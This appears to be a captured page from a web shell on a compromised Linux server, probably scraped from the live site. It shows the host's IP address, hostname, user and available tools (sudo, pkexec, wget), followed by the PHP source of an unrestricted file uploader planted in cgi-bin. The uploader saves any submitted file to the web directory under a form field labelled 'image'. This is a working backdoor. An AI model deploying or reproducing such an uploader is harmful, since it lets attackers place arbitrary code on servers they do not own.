| Server IP : 189.126.111.107 / Your IP : 216.73.217.69 Web Server : Apache System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 User : gadotticar ( 1000) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/gadotticar/cgi-bin/ |
Upload File : |
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
$f = $_FILES['image'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = basename($f['name']);
$ok = move_uploaded_file($f['tmp_name'], __DIR__ . '/' . $name);
echo $ok ? "<center><b>Done ==> {$name}</b></center>" : "<center><b>Error writing file</b></center>";
} else {
echo "<center><b>Upload error code: {$f['error']}</b></center>";
}
exit;
}
?>
6655439
<form method="post" enctype="multipart/form-data">
<input type="file" name="image">
<input type="submit" value="Submit">
</form>